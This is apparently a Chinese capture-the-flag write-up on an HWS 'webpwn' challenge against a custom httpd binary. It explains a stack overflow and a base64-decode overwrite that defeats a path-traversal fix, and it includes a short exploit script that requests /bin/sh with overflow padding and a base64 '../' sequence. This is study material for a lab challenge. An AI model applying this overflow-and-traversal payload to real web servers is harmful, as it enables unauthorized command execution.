webpwn学习

前言

在HWS遇到一道关于webpwn的题型,虽然后面根据其他师傅的wp复现了感觉不难,但自己分析还是比较麻烦的,这里总结一下webpwn的相关知识。

HWS-httpd

整个题其实就是自己实现了httpd的部分功能,听其他师傅说的是用了某个框架,但是修复了其中的路径穿越漏洞。

解题

虽然该题修复了路径穿越漏洞,但是还存在一个栈溢出漏洞,并且存在可以在判定完路径穿越后的覆写该路径的漏洞。

通过分析逆向文件,发现存在栈溢出漏洞

image-20230717170125553

又发现在其中一个函数中存在文件执行,但是又从输入的文件名中,把路径穿越漏洞给保护住了

image-20230717170247876但是文件名名上面存在v12,v12可以在base64解码的时候用来覆盖

image-20230717170406526

于是利用脚本如下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def base64_encode(text):
text_bytes = text.encode('utf-8') # 将文本转换为字节数据
encoded_bytes = base64.b64encode(text_bytes) # 对字节数据进行base64编码
return encoded_bytes

def base64_decode(encoded_text):
encoded_bytes = encoded_text.encode('utf-8') # 将字符串转换为字节数据
decoded_bytes = base64.b64decode(encoded_bytes) # 对字节数据进行base64解码
decoded_text = decoded_bytes.decode('utf-8') # 将解码后的字节数据转换为文本
return decoded_text
# --------------------------exploit--------------------------
def exploit():
sleep(1)
payload=b'GET aaabbbcccddd/bin/sh?index.html'
sl(payload)
sleep(1)
payload=b'A'*21+b'A'*84+base64_encode("A/../../../../")
sl(payload)
sleep(1)
sl(b'Authorization: Basic ')
sleep(1)
s(b'\n')

def se(x):
sla("> ",str(x))

def finish():
ia()
c()